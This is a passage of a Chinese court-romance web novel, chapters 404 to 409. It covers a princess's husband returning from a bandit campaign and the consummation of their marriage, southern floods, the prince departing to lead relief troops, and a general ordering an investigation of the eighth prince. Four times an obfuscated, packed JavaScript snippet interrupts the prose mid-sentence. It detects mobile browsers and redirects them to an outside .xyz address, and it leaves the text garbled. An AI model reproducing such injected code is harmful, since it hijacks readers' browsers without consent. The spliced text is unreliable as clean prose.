很快,陆知苒感受到了些许变化,她赶忙松开了。 萧晏辞长长呼出一口气,如蒙大赦。 “我去一趟净房。” 陆知苒看着他有些落荒而逃的背影,唇角不禁勾起,露出一抹清浅的笑。 这一次,她没有选错人。 许久,萧晏辞才重新回来,身上带着一股清冽的皂角味。 他伸出长臂,将人牢牢地圈在怀里。 陆知苒也很快陷入了梦想。 第404章 孙牧之得胜归来 翌日,陆知苒和萧晏辞去了洛家。 洛家换了一处更大的宅子。 洛家已经把生意往京城拓展,今后少不得长住,宅子自然不能将就。 皇商之事因皇后新丧耽搁了数月,但好在,结果是好的。 洛老太爷和洛老夫人到底在京城住不惯,只在这里过了个年就收拾东西回了苏杭,而今,京中便只有大舅舅一家子在。 大舅舅洛冠鸿是个儒雅的中年男人,行事圆滑老练,人情练达,与他相处,总有如沐春风之感。 他在萧晏辞的面前也有着恰到好处的谦卑与恭敬,分寸拿捏得刚刚好,丝毫不让人反感。 他对陆知苒这个外甥女则更加温和,在他的身上,陆知苒才真正感受到了如父如舅的关怀。 洛冠鸿父子请萧晏辞到外书房说话,内院便只有大舅母马氏和洛观澜的妻子卫氏。 卫氏是个典型的江南女子,一副小家碧玉的模样,性情亦温柔,说话柔声细语。 陆知苒与她们闲话家常,气氛十分融洽。 马氏说起了另一桩事,“我听你大舅舅说,近段时日南边雨水颇多,不少粮食药材都受了影响,来年只怕价高,你若有余钱,或可囤一些。” 陆知苒闻言笑着道谢,将此事记在了心上。 回到王府之后,正打算派人去问问,没想到她就先收到了南边管事的来信。 确实如马氏所说,今年那边的雨水多,再继续这般下下去,庄稼怕要减产了。 管事来信,是询问陆知苒他们是否要囤粮,以备不时之需。 粮食自然要囤。 若这场连绵暴雨没有及时止住,只怕又是一场灾难。 这样的灾难对于她来说,没有什么影响,但对于普通百姓而言,却足以摧毁整个家,绝了他们的活路。 陆知苒安排了下去,同时心中也蒙上一层隐忧。 只盼着老天爷能抬抬手,莫要让百姓再遭一次灾。 有关南边降雨之事,也呈报给了德丰帝。 但只是雨水充沛,并未酿成灾祸,这样的奏折也没有引起重视。 此时,朝中迎来了另一个好消息,更是把这桩隐忧遮了过去。 以孙牧之为首的剿匪小队回朝了,他们此次剿匪的成绩十分亮眼,嘉铜府一带盘踞十余年的匪窝,被他们一举端了,共捉拿了上百名俘虏。 德丰帝龙心大悦,又将他们重重赏赐了一番。 对孙牧之,德丰帝再次生出了深深的惜才之心,他是个难得的将才。 但自古以来,驸马都不能有实权。 德丰帝只能给他封了个虚衔,又赏赐了一大笔金银,更是下旨大力表彰了一番。 孙牧之尚未回府,宫中的赏赐已经如流水般抬进了公主府。 原本该是抬到孙牧之自己的府上,但他说自己长住在公主府,这些赏赐合该送去公主府。 萧宝珠和甄氏得知消息,都第一时间追问孙牧之的情况,是否受伤。 前来宣旨的太监笑呵呵的,“孙驸马英勇无双,那等**贼岂能伤他分毫?” 闻言,二人原本悬着的心终于放下了。 她们并不奢求孙牧之能挣多少功劳,只盼着他能平平安安的就好。 再看到这般丰厚的赏赐,婆媳二人脸上都绽出难掩的惊喜。 雪团也似感受到了主人的情绪,跟在脚边疯狂摇尾巴,汪汪地叫个不停。 自家驸马争气,公主府上下都喜气洋洋。 刘嬷嬷道:“奴婢这就去后厨看看。” 甄氏忙道:“对对,今晚上定要给阿牧张罗出一桌体面的洗尘宴。” 秦嬷嬷则是道:“新房也要重新张罗一番。” 萧宝珠起先还有些不明白,新房要张罗些什么? 待她看到秦嬷嬷指挥丫鬟婆子把大红喜被搬到床上时,她瞬间反应过来,脸也刷地一下红透了。 他们的新婚夜并未圆房,秦嬷嬷这个近身伺候之人是知晓的。 而今,孙皇后的孝期过了,孙牧之也回来了,今夜的确该把该办的事办了。 孙牧之从宫中回来时,已是临近黄昏。 马蹄飞驰,到了公主府门口才急急停下。 他翻身下马,大步流星地进了府。 他这一整日都没有来得及休息,或者说,这段时间,他都没有真正地好好休息过。 他的仕途虽然没有什么想头,但他还是想挣下功劳。 因为他想挣下这份脸面。 不仅是为他自己挣,更是为萧宝珠挣。 他一直觉得自己配不上萧宝珠,也生怕别人会觉得萧宝珠嫁给他是委屈了。 所以,他想让自己站得更高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790291|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点,让自己能配得上她。 雪团比萧宝珠先一步发现了归来的孙牧之,汪汪地朝他喊,一边迈着小短腿跑来。 孙牧之看着这又圆润了一圈的小东西,难得也给了它一点好脸色。 很快他就顾不上其他,萧宝珠迎了出来。 她满脸笑容地看着他,眼底似有碎光闪动,明媚动人。 孙牧之上前,想抱抱她,又觉得自己身上脏,及时停住了。 但萧宝珠已经先一步环住了他的腰。 “怎么现在才回来?” 语气中,带着一股子自己都没察觉的撒娇。 孙牧之伸手,用力地回抱她,鼻尖嗅着她的发香,觉得安心极了。 “是我不好,让你久等了。” 雪团在他们的脚边汪汪直叫,见二人没有反应,它又张嘴去咬孙牧之的裤腿。 孙牧之抬脚就将它掀开了,半点不留情面。 雪团委屈地嗷呜一声,又去咬萧宝珠的裙角。 萧宝珠这才松开了孙牧之。 这时她后知后觉地反应过来,方才一众丫鬟婆子们都在呢。 虽然这会儿她们已经都退出去了,但方才的情形她们也定然都看在眼里。 萧宝珠的脸上浮出一抹羞赧的红晕。 “身上可有受伤?” 孙牧之看着她,眼底含着一抹细碎的笑意。 “没有,那些乌合之众,伤不到我半分。” 这话就有些自夸的意思。 这次的山匪的确有些能耐,他们有一次差点着了对方的道,幸而最终有惊无险。 他们的功绩,都是把脑袋别在裤腰带上换来的。 这其中的艰辛,只有亲历者才知道。 但在萧宝珠面前,他自是不会说的。 “公主若不放心,晚上可亲自检查。” 这话说得正经,但落在萧宝珠的耳中就平添暧昧,再想到那鸳鸯喜被,她脸更红了。 萧宝珠推了他一把,语气羞恼,“身上脏**,快去洗了。” 孙牧之眼底缀着笑,大步而去。 萧宝珠这才蹲下身来,一把抱起雪团,将脸埋进它蓬松的毛发里,用力地吸。 “雪团,他回来了,你高兴吗?” 回应她的,是雪团汪汪的叫声和热乎乎的舌头。 主人看起来很高兴,那它也高兴。 第405章 圆房 孙牧之在正院洗漱。 婚后,孙牧之一直宿在正院,他的衣物也都放这里,压根没想过搬到别处去。 他进到卧房,被满眼的大红囍字晃花了眼。 他明白了什么,喉结上下滚动,眸色也不禁变得幽深。 甄氏让下人把一桌的好酒好菜都摆上了桌,又认认真真地打量着儿子,眼底满是心疼。 “黑了,也瘦了。不过,回来就好。” 孙牧之露出了一个清浅的笑,“儿子不孝,劳母亲担忧挂念。” 甄氏道:“你要建功立业,母亲自然不能拦着。母亲只盼你平安。” “儿子心中也挂念着你们,轻易不敢让自己出事。” 他说这话时,目光温柔地落在萧宝珠的身上,萧宝珠脸上不禁又热了起来。 原本,母亲是他最记挂的人,现在,他记挂的人里又多了一个。 他前所未有的惜命。 甄氏将二人的反应尽收眼底,眸中满是笑意。 用过了饭,甄氏便以疲乏为由,很快就回了自己的院子,不做那不识趣的人。 感受到孙牧之落在自己身上的目光,萧宝珠觉得莫名炽热。 她站了起来,“我吃得有些撑了,要去消消食。” 孙牧之也站了起来,“我陪你。” 说着,不容置疑地拉住她的手,往花园而去。 萧宝珠的手肉乎乎的,他的手很大,上面满是老茧,他牵着她,不敢太过用力,唯恐弄疼了她。 这个时节,天气闷热,花园里似蒸笼一般,没走两步就热出一身的汗。 而且,还有很多蚊子,萧宝珠不胜其扰,这花园终于逛不下去了。 回到屋中,感受到扑面而来的清凉,萧宝珠这才长长呼出一口气。 还是房间里舒坦。 只是,这满眼的红,加上多出来的男人,让她略感不自在。 “公主,时候不早了,该就寝了。” 不知为何,明明他的语气很正经,但落在萧宝珠的耳中,却莫名带着股别的意味。 萧宝珠去洗漱了,今夜本不该沐发,但她却觉得自己方才出了一头的汗,头发上定有了汗臭味。 今夜他们要同床共枕,万一他闻到自己的汗臭味,那她得挖个地洞钻进去。 等她擦干了头发出来,孙牧之已经重新洗漱好,半倚在床上,手里拿着一本书在看着。 他们二人穿的寝衣都是丫鬟特意准备好的,是大红色,与这满室的喜庆分外呼应。 待萧宝珠看到他手里拿着的那本书时,惊呼一声,直接就扑上去抢。 “那是我的书,不许看!” 她这一扑,就直接扑到了孙牧之的身上,撞了他满怀。 孙牧之一手将她揽住,一手却是高高抬起,让她够不着。 他的脸上挂着几分戏谑的笑意。 “《榻上囚欢:霸道将军的替身丫鬟》,我不在的这段时日,公主就看这些书打发时间?” 听他慢条斯理地念出那书名,萧宝珠的脸涨得通红,一股羞耻感几乎将她淹没。 “我,我还没有看,就,就只是放在这里而已。” 她心中气恼,这些丫鬟怎么回事,连床单被套都换了,竟然没把这书拿走。 这要是个正经的话本子,萧宝珠自然不会这般着急。 可这里面写的东西实在是不正经,极尽香艳。 萧宝珠起先觉得有辱斯文,本要让人烧了。 但又实在好奇,就只能一边面红耳赤,一边偷偷地看。 孙牧之挑眉,“哦?这这书里面的折痕,也不是你折的了?” 他打开了某一页,萧宝珠瞟到上面的内容,再次有种眼前一黑的冲动。 那俨然是最香艳的一幕描写,各种细节,堪比**。 萧宝珠快烧起来了,只能挣扎着去抢书。 挣扎间,她整个人都压在孙牧之的身上,完全没注意到,男人的眼神已经变得越发幽深。 孙牧之收回了手,萧宝珠终于把书抢了过去,赶紧阖上了。 但她想从男人身上下来,把这书毁尸灭迹了,却已经来不及。 孙牧之一个翻身,将她压在身下。 二人位置调换,萧宝珠感受到了男人身上的变化,她脸上的红云尚未散去,又有新的滚烫涌了上来。 “公主与其去看别人的,不如,让微臣伺候,微臣定不比那书中的将军差。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15796552|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >说完,便不等她的反应,俯身落下炽热的吻。 红烛高烧,鎏金烛台上垂落几滴朱砂泪,映得锦帐生辉。 一双人影交叠,如墨的发丝缠绕在鸳鸯枕上,分不清彼此。 萧宝珠只觉得热,热得口干舌燥。 整个人都似巨浪里的一叶小船,被拍打得摇摇晃晃,完全不能自控。 她的指甲掐进了男人结实的后背上,声声低泣着求饶。 孙牧之也很难受。 唯恐伤她,他的动作小心翼翼,但这于他而言无异酷刑。 一切平息时,两人身上都汗涔涔的。 萧宝珠累得完全没了力气,她脑中只有一个念头,方才的头发,白洗了。 察觉到男人在给她擦拭,她也顾不得羞赧,眼皮沉沉,睡了过去。 翌日,丫鬟们刻意没有叫他们。 甄氏听了下人的回禀,满脸乐呵呵的。 刘嬷嬷笑道:“说不定过不了多久,你就能抱上孙子了。” 甄氏却是摇了摇头,“宝珠年纪小,我反倒担心她太早怀上了,伤了身子。” 但他们小两口,成了亲一直不圆房也不是个事。 就算孙牧之能忍,萧宝珠只怕也会多想,误会孙牧之嫌弃她,才不愿碰她。 甄氏的这个担忧也不好同萧宝珠说,也怕她多心,喝避子汤就更不合适了。 还在为这事担忧,孙牧之和萧宝珠来了。 昨夜算是他们真正的洞房花烛夜,今日一早,他们合该来向甄氏敬茶。 孙牧之牵着萧宝珠,她的脸上依旧带着几分不自在。 二人跪在真是面前,恭恭敬敬地给她端了一盏茶,甄氏笑得合不拢嘴,又给萧宝珠封了一个大大的红封,萧宝珠脸上也露出了甜甜的笑。 甄氏找到机会,跟孙牧之单独说了几句话。 说的是担忧萧宝珠太早有孕之事。 孙牧之不好对母亲说房中事,只道:“母亲放心,儿子会注意的。” 他昨夜是弄在外面,之后,他也会请郎中给他配药,不会让萧宝珠服避子汤。 当然,最稳妥的法子就是忍着不碰她。 但这对他而言太难了,他自认自己做不到。 第406章 滇南灾情 孙牧之与萧宝珠如愿过上了过着蜜里调油,没羞没臊的日子。 二人到瑾王府做客时,眼神都甜得拉丝。 陆知苒对二人的修成正果乐见其成,也真心地为他们感到高兴。 有些人就有些不高兴了。 萧晏辞现在还素着呢,一见到孙牧之那副春风得意的样子就知道他已经吃到了肉,简直是破大防了。 孙牧之现在变了,变得油嘴滑舌。 在他这个大舅兄面前,他也半点不忌讳,甚至还暗戳戳地秀恩爱,萧晏辞简直没眼看。 这样平静又甜蜜的日子却没有维持多久,八月,滇南传来急报,称滇南遭遇了十年一遇的山洪灾难,先前朝廷派往澜霞谷流域开采金沙的士兵也遭遇山洪,伤亡惨重。 偏这时,南越国蠢蠢欲动,集结兵马,欲趁火**,攻打滇南。 滇南府陷入了前所未有的困境,急需朝廷支援。 德丰帝收到消息,当即召集官员,一齐商议此事,该增派多少援军,由谁带队,这些都是需要商议之事。 大家还没商议出个所以然,又接连有急报传来。 江南各地都遭遇了大暴雨,不少百姓受灾,急需朝廷支援。 坏消息接踵而至,德丰帝眼前一黑,竟直接晕了过去。 这下子,原本就混乱的局面更乱了。 众人赶忙去请太医,太医诊断之后称,德丰帝是急火攻心,一时闭了气。 一番施针,德丰帝终于悠悠转醒了。 众人见此,这才松了口气。 若这个时候德丰帝出了什么事,那就是雪上加霜了。 德丰帝撑着病体,重新开始议事。 萧晏辞主动请缨,要带兵前往滇南支援,德丰帝允了。 江南的灾情,德丰帝则是派了工部侍郎和户部郎中前去。 工部侍郎熟悉水利工程,可现场指挥堵决口、修堤坝,户部郎中则负责钱粮调拨、灾民安置。 另又派孙牧之率五千人手负责物资运输、抢修提拔和预防**等。 诸事安排妥当,德丰帝这才浑身虚浮地躺下了,冯有才的脸色变得更加难看。 “皇上,您保重龙体要紧。” 德丰帝声音透着沙哑,“人老了,不得不服老,但你放心,朕还死不了。” 冯有才慌忙跪下,“皇上万寿无疆,万不可把那样的话挂在嘴边。” 德丰帝阖上了眼睛,半晌,才缓缓开口,“待此次灾情平复,朕也是时候该册立太子了。” 冯有才依旧跪在地上,没有说话,好似没有听到德丰帝说了些什么。 这次灾情,对瑾王殿下是一次考验,对滇南亦是。 究竟能否通过考验,就看他的表现了。 陆知苒得知消息,心中十分着急,但萧晏辞出门在即,她也没时间焦虑,立马命人着手安排出门所需的东西。 萧晏辞回来时,天已经黑了。 陆知苒什么都没多问,只让他先去洗漱,然后把饭吃了。 他忙了一整日,这会儿才顾得上吃口饭,埋头就干了一碗。 陆知苒见他这般狼吞虎咽,心中不由心疼。 眼下尚有人能替他张罗这些,届时启程之后,路上怕就只能啃些干粮果腹了。 肚子稍微有了些底,他吃饭的速度才放慢下来。 他腾出空档,将事情道来。 滇南的灾情严重,又有南越国虎视眈眈,情势危急,他必须要以最快的速度赶到滇南。 “今日我紧急点兵,粮草兵器等一应事宜也都准备好了,明日一早便马上出发。” 时间便是生机,他一刻都耽搁不得。 陆知苒也明白这一点,她也转而交代,“你的行囊我已经准备好了,除了换洗衣物,还有一套软盔甲。这是前些时日我让人打造的,还没来得及让你试试,现在正好用上了。你明日出发时便穿上。” “这包袱里还有许多常见的药,我让商行给你手下的两万人马也每人备了一份,滇南毒虫蛇蚁颇多,应能用得上。” “另外,我也第一时间去信商行,还有外祖家,让他们调派粮草支援。你只管保重好自己,这些物资,有我兜底。” 陆知苒一一交代着,语气沉缓,有条不紊。 萧晏辞听着,眼底不禁浮起一抹异样的触动。 他伸手,将她揽入了怀中。 “知苒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15796553|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,多谢你。” 陆知苒亦回抱着他,脑袋枕在他的肩头。 “我别无所求,只盼你平安归来。” 萧晏辞用力点头。 “母妃那里,我来不及向她辞行,你多进宫陪陪她。” “我知道,我和母妃都等着你。” 夫妻二人又是一番叙话,直到外头有人来敲门。 是贺昀的声音,“殿下,有来客。” 若是一般来客,贺昀不会来打扰。 陆知苒整理一番心情,“殿下自去吧。” 萧晏辞起身离开。 见到来人,他很意外。 是谷栖山。 他的身形依旧如往昔一般,高大挺拔,似一座巍峨的大山。 困居京城大半年,他身上并不见颓靡之气,眼神锐利,一如往昔。 自从知道他与自己母妃年轻时候的那段过往,这段时日萧晏辞就没有去找过他。 他们不该有太多往来。 谷栖山也很低调,浑似隐形人,以养伤之名一直深居府中,不与朝中的任何人往来。 谷栖山躬身一礼,“殿下,老夫深夜叨扰,实在冒昧,还请殿下勿怪。” 萧晏辞立马将他扶起,“谷将军是为滇南的灾情而来吧,快坐下说话。” 谷栖山也不客气,坐下之后,便开门见山地表明来意。 “我听说了滇南灾情,心中十分担忧。我的身份,不便向皇上主动请缨出战,但若不做些什么,心中着实难以放下。” 德丰帝怀疑他与柔妃关系不清白,他此时请缨,只怕更会触到帝王敏感的神经,让有心人钻了空子。 而且德丰帝忌惮他,也不会轻易再给他兵权,让他立下功劳。 即便他主动请缨,德丰帝也定是不会同意的。 萧晏辞也认同他的判断。 此时的谷栖山,什么都不做最好。 他从怀中取出一块令牌,放在了小几上。 “我虽困居京中,但破船尚有三斤钉,我也并非当真无人可用。我手底下有一支精锐,是私兵,有一千人。我将他们交给殿下,他们会暗中跟着殿下前往滇南。这令牌便是信物,他们会同从殿下的指挥行事。” 第407章 分别在即 萧晏辞听了这番话,眼底闪过一抹意外。 他手底下养了这么一支私兵,这并不奇怪。 谷栖山这样的人,总要为自己留一点筹码和退路。 而今,他将自己的底牌亮了出来,交给了自己。 萧晏辞感受到了他的诚意,看他的眼神也添了几分敬重。 “谷将军,这些人是您的筹码,也是您在京中的护身符,本王不能要。” 说句大逆不道的话,若父皇要取他性命,有这支私兵在,谷栖山尚有自保之力。 但他把私兵给了自己,他自己手里还有多少筹码? 谷栖山笑了笑,“京中一切太平,我哪里需要什么护身符?若当真有那一日,这区区一千人,也定护不住我。” 萧晏辞神情一顿,眸底多了一丝异样。 “殿下,眼下没有什么比保住滇南更加要紧,不必推辞。” 这话,让萧晏辞收起了心中那最后一丝游移。 他将那令牌郑重地收入怀中。 “本王定竭尽所能,助滇南度过此次难关。” 谷栖山颔首,不再多言,起身告辞。 他来时悄然无声,离开时,亦没有惊动任何人。 萧晏辞看着他的身影越过院墙,彻底消失,心中生出一抹惆怅。 他本该是一只可以肆意翱翔的苍鹰,而今却被关在了笼子里,当起了家雀,实在可惜。 若来日,他当真坐上了那个位置,定会让他有机会重新翱翔起来。 这也让他生了警醒,在任用贤才一道,不能因为个人猜忌,就埋没了一个不可多得的人才。 回到房中,陆知苒没睡,她在等他。 二人躺到床上,不待她问,萧晏辞便将事情始末道来。 陆知苒便道:“谷将军心系滇南,这是他的心意,殿下用好这一千人,便是对他最大的报答。” 萧晏辞点头应下。 二人不再说话,只是十指相扣,直到睡熟了都没有分开。 今夜的萧宝珠辗转反侧,怎么都睡不着。 孙牧之要去江南赈灾,这个消息似一记重锤,将她砸得七荤八素,也彻底搅乱了她最近这段平静安逸的美好生活。 “父皇太欺负人了,怎么什么脏的累的活都让你去做?办砸了你得不到好,办好了,也不能给你封官加爵,有个什么意思?” 萧宝珠当场就想冲进宫去向父皇讨旨意,让他收回成命。 孙牧之再次将她拦下了。 “宝珠,皇命难违,若我仗着你的关系,推诿差事,只怕会让皇上心中不快,连带着对你也生出迁怒来。” 萧宝珠哭道:“我不怕被迁怒,我只想让你留下来。” 孙牧之将她揽入怀中,久久都没有松开。 “我亦舍不得离开,但……我的身份卑微,本就配不上你,我也想为自己多挣一些功劳,好让旁人提起你时,不会惋惜你嫁了个无能之辈。我不想让你受委屈。” 萧宝珠闻言,哭得更加大声了。 “我又不在乎这些。” 她若当真在乎的话,就不会嫁给他了。 孙牧之语气坚定,“我在乎。宝珠,这是我能为你做的为数不多的事。我答应你,定会安全回来。” 萧宝珠知他心意已决,便没有再劝,只红着眼眶给他收拾行囊。 晚上睡觉的时候,萧宝珠心中依旧很乱,翻来覆去睡不着。 孙牧之伸手揽她,她也赌气地翻过身去,只背对着他。 孙牧之在身后揽着她,语气轻柔,带着一丝哀求之意。 “宝珠,不要生气了。” 萧宝珠不理他,他便凑到她的脖颈处拱来拱去,细密的胡茬弄得她一阵发痒。 萧宝珠绷不住,只得反手推他。 “你是狗吗?” 孙牧之没脸没皮地蹭着她,“只要你肯理我,我便是当狗也无妨。” 萧宝珠被他的没脸没皮闹得没了脾气。 感觉到她的态度有所松动,孙牧之的手便开始不老实起来。 萧宝珠有些羞恼地推他,“明日就要启程了,你不用休息的吗?” “我不累。” 萧宝珠没好气,“我累!” 孙牧之语气低低的,“公主只管躺着,微臣伺候您。” 萧宝珠的脸一下红了。 床笫间,他总喜欢自称微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801296|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臣,虔诚地唤她公主,每每都让萧宝珠颇觉羞耻,同时又有一丝古怪的情绪在心头蔓延。 翌日,各路人马整装待发,一齐往各自的战场奔赴。 京中百姓虽未遭灾,但也不免有些人心惶惶。 大家都开始屯粮,唯恐粮价飞涨。 陆知苒命人贴出告示,太仓商行余粮充足,且粮价不会涨。 洛家的商行也跟着贴出了告示,其余商行也有不少纷纷效仿。 短短两日,原本已经有些波动的粮价恢复平稳,百姓们也不再为此惊慌。 对于太仓商行和洛氏商行的称赞声不绝于耳。 德丰帝得知此事,面上浮出一丝笑意。 “阿辞这个王妃,娶对了。” 冯有才也从旁附和。 但德丰帝的好心情并没有维持多久,这一日早朝,再次有急报传来。 这次急报是闽南传来的。 闽南靠海,此次暴雨伴随着飓风,好几个郡县的房屋都被飓风掀翻,又被洪水浸泡,死伤无数,民生难以为继,闽南知府字字泣血,恳求皇上派兵支援。 听得这桩消息,众臣哗然。 南方的这场大雨已经下了一个多月,现在还没有停下来的趋势,只怕闽南的情势,比他们所听到的要惨烈许多。 德丰帝身子轻晃,险些坐不稳。 自他登基以来,各地风调雨顺,日后的史书上,也能留下浓墨重彩的一笔。 但如今却是灾害频出,百姓们俨然身处水深火热之中。 难道,这是老天爷对他这个帝王的惩戒? 众人纷纷议论,一时朝堂上的气氛有些低沉压抑。 就在这时,八皇子萧晏临出列,朗声道:“父皇,儿臣不才,愿带人前往闽南赈灾,请父皇恩准。” 萧晏临生得面嫩,此时满脸严肃,竟平添几分成熟,一打眼,让德丰帝有种此子一夕之间长大了的感觉。 只是,赈灾之事非同小可,德丰帝不会放心交给萧晏临这么一个刚刚入朝听政的人。 他轻描淡写地驳了。 “你年岁尚小,行事又没经验,赈灾并非小事,你别瞎掺和。” 第408章 调查八皇子 萧晏临态度依旧不变,“父皇,儿臣知晓自己年轻没经验,也不敢独揽此事,还需父皇委派一位德高望重有经验的大臣牵头,儿臣只是想为父皇分忧。” 德丰帝尚未说什么,台下就有大臣开口。 “皇上,微臣以为,八皇子前去赈灾未尝不可,眼下各地灾情严重,百姓人心惶惶,八皇子亲自前往灾区,代表的是皇上,可安民心。” 不少朝臣也纷纷附议。 德丰帝原本没有考虑过这件事,但众臣纷纷附议,他也不禁陷入了思索。 萧晏临见德丰帝态度松动,再次提出请求,表明其为朝廷分忧的决心。 “儿臣此行,亦有私心。儿臣的外祖家便在闽南,此次闽南遭难,外祖家只怕也难逃一劫,儿臣亦想趁此机会去看看。” 德丰帝听了这话才想起来,赵婕妤出身于闽南的一个渔夫之家,是真正的小门小户,只是后来赵家走了大运,赚了大钱,捐了小官,又恰逢大选,才把女儿送进宫参选。 赵婕妤年轻时亦生得十分貌美,这才得以从一众高门贵女中脱颖而出,顺利入选。 只是,小门小户的终究不一样,眼皮子浅,一朝得势,就得意忘形,犯下大错。 连带着,德丰帝对萧晏临这个小儿子也十分不喜。 萧晏临都把话说到这个份儿上,又有群臣的力荐,德丰帝终于松口了。 萧晏临当即跪下谢恩。 德丰帝又道:“此次赈灾还需要一位德高望重的老臣前去,诸位爱卿,谁愿担此重任?” 一时堂下无人站出来。 这是一桩苦差事,办不好的话,那就是吃不了兜着走,谁乐意? 这时,谷栖山出列,“微臣愿为皇上分忧。” 德丰帝目光落在他的身上,神色有些为难。 “谷爱卿,你的本事朕自是放心的,但你的身子尚未休养好,岂能辛劳?不然,先前休养的大半年岂不白费了?” 谷栖山垂眉敛目,“微臣的身子已经大好了,更何况,现在情势紧急,微臣的身子不要紧,万事都没有解决难题重要。” 德丰帝依旧不肯,只坚持让他在京中好好养伤,任何事都没有他的伤情重要,俨然一副为了臣子着想的好帝王。 谷栖山却知道,德丰帝这是铁了心不打算用自己。 他对自己的忌惮并没有消除。 而朝臣们显然也意识到了这一点,无人站出来为谷栖山说话。 这时,兵部尚书卞志明站了出来,主动揽下了这桩差事,德丰帝允了,紧接着又指派了工部和户部的几位大人同去,此事这才就此敲定。 萧晏临身为皇子,身份最尊贵,但此行真正拿主意的是兵部尚书卞志明,德丰帝一再叮嘱萧晏临凡事都得听从卞志明的,万不可仗着自己皇子的身份就肆意妄为。 说白了,萧晏临就是个吉祥物,只需要在紧要关头露面安抚民心,让百姓知道朝廷没有放弃他们即可。 若他仗着身份,不懂装懂,延误了灾情,德丰帝定不轻饶。 萧晏临态度十分谦恭,一再点头应是。 事情商议好,德丰帝这才散了朝。 众臣纷纷散去,各自忙碌。 近日天灾不断,朝中局势紧张,德丰帝的心情也不好,他们可得办好自己手头的差事,万不能出了岔子。 不然,撞到枪口上去,就遭殃了。 谷栖山随着人流正快步往宫外走,萧晏临走到了他的身侧。 “谷将军,本王以为此行能与你一道,实在可惜。谷将军用兵如神,又有两次在西平的治疫经验,没人比你更适合前往闽南赈灾。” 谷栖山赶忙朝他恭敬行礼,“微臣空有一腔报国之心,但奈何这副身子不争气,实在愧疚,当不起殿下如此抬举。殿下主动请缨,前往闽南赈灾,实乃闽南百姓之福也。” 萧晏临露出几分惭愧之态,“本王并没有将军所说的这般无私。本王其实只是想去外祖家看看罢了,外祖中年丧子,又无孙辈,日子过得凄苦。本王无能,不能替外祖家挣到荣光,只盼着外祖晚景安好,可千万别被这灾祸给伤了性命。” 谷栖山闻言,眸底闪过一抹异色。 “赵老爷子福泽深厚,定能安然无恙。” 萧晏临:“但愿如此。” 二人一路并行,出了宫门这才分道扬镳。 谷栖山的头上挂着个闲差,实则已经被架空,并没有什么事务需要他料理。 他下了朝便径直回了府,关门闭户,不问世事。 今日他在朝堂上的表态,是对德丰帝的试探,而德丰帝的反应也在他的预料之中。 他依旧是德丰帝的眼中钉,那就安安静静地做个不问世事的闲散将军。 只是,这些是做给外人看的,实际上,他的心头思虑一刻都不曾停歇过。 谷栖山唤来暗卫,吩咐道:“派人去查一查八皇子,要小心,万不能暴露自己。” 心腹应是,身影很快消失。 伺候他衣食的老仆人腿脚不便,是他以前的兵,也是他的心腹。 听了他的这番吩咐,不免疑惑。 “将军为何要查八皇子?” 谷栖山的食指在小几上轻轻叩击,眸底藏着一抹幽深。 “今日他对我说了一番话,总让我多心。他提到了赵虎之死。” 老仆人张权听到赵虎这个名字,愣怔许久才将这二人联系到了一处。 赵虎是谷栖山下令行军法,当众打死的。 而他,正是八皇子的亲舅舅。 想到赵虎的所作所为,张权觉得他死得半点不冤。 但若八皇子心存芥蒂,要为自己的舅舅鸣不平,趁此机会刁难自家将军,也并非不可能。 “或许是我多想,查一查,求个安心。” 八皇子这些年一直很低调,毫不起眼,若非今日他主动站出来,这桩差事也落不到他的头上。 以往一直不争不抢的人,突然开始主动往自己头上揽差事,的确值得让人多注意几分。 那个位置的诱惑力太大了,即便是再不起眼的人,也都有可能对它生出觊觎。 萧晏辞不在京城,自己必须要多替他把把关,将一切危险的可能扼杀。 若是猜错了,也只是多费些时间和人力罢了。 谷栖山本已经忘了赵虎这么一号人,今日见了八皇子,脑中隐约浮现出他的容貌来。 不知为何,谷栖山觉得,记忆中的赵虎隐隐带着熟悉,好似,他曾在哪里见到过与他容貌肖似之人。 但那记忆太过久远,一时之间他也有些想不起来,更不确定了。 第409章 表姐 此时,萧晏临也回到了八皇子府。 他尚未成婚,但已在外开府。 